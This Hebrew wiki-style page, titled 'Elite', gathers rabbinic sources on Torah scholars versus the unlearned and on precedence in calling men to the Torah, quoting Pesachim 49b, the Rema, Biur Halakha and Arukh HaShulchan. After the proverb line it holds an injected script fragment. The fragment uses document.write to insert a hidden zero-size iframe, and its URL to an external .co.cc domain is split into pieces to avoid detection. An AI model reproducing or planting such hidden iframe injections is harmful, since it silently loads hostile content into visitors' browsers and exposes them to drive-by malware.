אליטה

___נוספה שאלת רפלקציה לגבי היחס האישי שלי לאליטות שאיני נכלל בהן______________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");

תוקן על ידי מיימוני ב- 08/02/2018 08:04:35

<אני - העוסק בתורה בריה אני, וכן חברי עם הארץ בריה הוא>

ברייתא שהובאה בתלמוד, פסחים, מט, ב:

"תנו רבנן: לעולם ימכור אדם כל מה שיש לו וישא בת תלמיד חכם. לא מצא בת תלמיד חכם - ישא בת גדולי הדור. לא מצא בת גדולי הדור - ישא בת ראשי כנסיות, לא מצא בת ראשי כנסיות - ישא בת גבאי צדקה. לא מצא בת גבאי צדקה - ישא בת מלמדי תינוקות. ולא ישא בת עמי הארץ, מפני שהן שקץ, ונשותיהן שרץ, ועל בנותיהן הוא אומר (דברים כז, כא) ארור שכב עם בהמה".

ואולי י"ל תרי עמי הארץ הוו.

_______________________

מיימוני

<סדר העליה לתורה קובע במקום מסויים עדיפות לבני תלמידי חכמים והממונים על הציבור>

מתקופה מסויימת עמדו הע"ה הנכבד, והעשיר בראש האליטא, לפני  הת"ח, וכך נוהגים בימנו:               :

ראה רמ"א, שולחן ערוך אורח חיים, רפב, ג:

"ואין איסור לקרות ע"ה נכבד, עשיר, וגדול הדור לפני ת"ח, כי אין זה בזיון לת"ח רק כבוד לתורה שמתכבדת באנשים גדולים".

גם ראה "ביאור הלכה", סי' קלה, בד"ה ואם הוא אדם חשוב וכו:

"... וראיתי בתשב"ץ קטן סימן קפ"ט שכתב בהיפך מזה וז"ל בירושלמי פרק בא לו כאן את אמרת הלוך אחר תורה וכאן את אמרת מוליכין התורה אצלו אלא ע"י בני אדם גדולים התורה מתעלה מכאן ראיה שאין איסור לקרוא לתורה עשיר מכובד לפני ת"ח מפני שע"י אנשים גדולים התורה מתעלה עכ"ל הרי משמע מדבריו דאנשים גדולים המוזכרים בירושלמי הוא לאו דוקא ת"ח ולא העתקתי כדעתו במ"ב מפני שדבריו קשין שהרי מסוף דברי הירושלמי מבואר בהיפוך מזה וכנ"ל אכן אחרי בינותי ראיתי שהרמ"א בסימן רפ"ב העתיק דין דתשב"ץ להלכה [ומה שנרשם שם אור זרוע טעות הוא שלא נמצא כלל באור זרוע רק בתשב"ץ הנ"ל שזהו לשונו ממש וכנ"ל] ואולי שהרמ"א מחלק בין לקרותו לתורה ובין להביא ס"ת אצלו דלזה בעינן חשוב ביותר ואע"ג שהתשב"ץ בעצמו הוציא דינו רק מהירושלמי הנ"ל הרמ"א החליט את דינו רק מסברא בעלמא וצ"ע".

יש לציין לשינוי שבין דברי התשב"ץ לדברי הרמ"א, שלדבריו הנכבד הוא הע"ה, ואילו בדברי התשב"ץ שאינו מביא את הע"ה, הנכבד הוא העשיר.

הערוך השלחן העיר )סי' רפב, י( על דברי הרמ"א:

"... מובן שזהו כשההכרח מביא לידי כך".

מהי כוונתו?